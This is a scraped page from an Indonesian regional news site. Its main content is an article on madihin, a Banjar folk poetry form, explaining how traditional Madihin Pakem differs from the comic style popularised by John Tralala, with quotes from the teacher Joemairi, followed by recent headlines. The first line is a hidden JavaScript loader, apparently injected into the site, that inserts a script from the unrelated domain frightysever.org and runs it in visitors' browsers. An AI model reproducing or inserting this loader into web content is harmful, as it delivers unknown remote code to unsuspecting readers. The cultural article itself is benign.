(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Yuk, Mengenal Perbedaan Madihin Pakem dan Madihin Kocak


BANJARMASIN, Warga Kalsel pasti sudah tidak asing lagi dengan kesenian bernama madihin. Puisi rakyat anonim yang hanya ada di kalangan etnis Banjar di Kalsel ini bertipe hiburan lisan atau dituliskan dalam bahasa Banjar. Arti kata madihin sendiri berasal dari kata madah dalam Bahasa Arab yang berarti nasihat atau juga pujian.

Kesenian madihin di Kalsel tepatnya berasal dari Hulu Sungai, yaitu di Kandangan, daerah Bangkau. Di mana pada saat itu hadir bersamaan dengan hadrah bangkau yang terkenal di era tahun 1960-an.

Madihin di Kasel sendiri terbagi atas dua yaitu Madihin Pakem dan Madihin Kocak (modern). Madihin Pakem adalah madihin yang pertama hadir di Banjarmasin dan Madihin Kocak adalah madihin yang dipopulerkan seniman John Tralala.

Saat ini hanya sisa 3 orang tetua yang menguasi Madihin Pakem tersebut yakni Joemairi, Abang Sam’un, dan Khair.

Joemairi, Guru SMPN 3 Barabai dikenal sebagai seorang pakar madihin. Ia merupakan salah seorang yang kenal dekat dengan sosok John Tralala semasa hidupnya. Mereka sempat berbincang bahwa ia dan teman-temannya akan fokus pada Madihin Pakem dan penyebarannya di Kalsel. Sedangkan John Tralala pada bagian Madihin Kocak dan penyebarannya di luar Kalsel.

Tentu ada banyak sekali perbedaan antaran Madihin Pakem dan Madihin Kocak ini. Misalnya untuk Madihin Pakem ada susunan hadian yang tidak bisa ditinggalkan.

“Hadian itu dipecah dan dirampai, lalu masuk isi, dan kemudian penutup. Kalau Madihin Kocak bisa langsung masuk ke syair,” jelas Joemairi.

Lagu dalam Madihin Pakem juga ada 3 tahap yaitu soal, jawab, dan jawabul jawab . Sedangkan di Madihin Kocak tidak ada. Artinya lirik di Madihin Pakem itu nadanya bertingkat dan Madihin Kocak rata.

“Pukulan musiknya pun sangat berbeda. Dalam Madihin Pakem akan kita temukan berupa kaprakan, pukulan iringan, pukulan jeda, dan pukulan penutup. Sedangkan dalam Madihin Kocak tidak ada,” jelas Joemairi.

Dapat dilihat juga Madihin Kocak lebih bebas dan tak beraturan. Isi Madihin Pakem sendiri biasanya berupa sejarah dan cerita. Hal ini tentu tidak lepas dari asal muasal madihin itu sendiri yaitu Arab. Di sana, setiap ada kegiatan di kerajaan di Arab, pasti akan selalu diadakan madihin. Madihin ini juga diadakan ketika dalam proses mengayun anak orang-orang kerajaan di Arab.

Budaya itu pun terbawa hingga ke Kalsel, setiap tahunnya ada acara Madihin Baayun, dan kegiatan ini cuma dilaksanakan di daerah Barabai dan Kandangan pada menjelang bulan Maulid Nabi. Bayi yang mereka ayun pun adalah bayi keturuan gusti-gusti.

Melihat kegiatan Madihin Baayun yang dilakukan setiap tahun, Joemairi mengatakan, mereka punya rencana untuk mengayunkan massal anak-anak mereka. “Karena setiap tahun pasti harus selalu ada yang diayun,” katanya.

Harapan Joemari sekarang ini adalah agar madihin terus berkelanjutan dari generasi ke generasi. Pakar madihin ini akan senang hati memberikan pelatihan-pelatihan mengenai ilmu madihin pakem agar mereka yang saat ini mendalami madihin kocak tidak diibaratkan seperti kacang lupa kulitnya. (mario)

Reporter : Mario
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

1 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

2 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

4 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

23 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

This website uses cookies.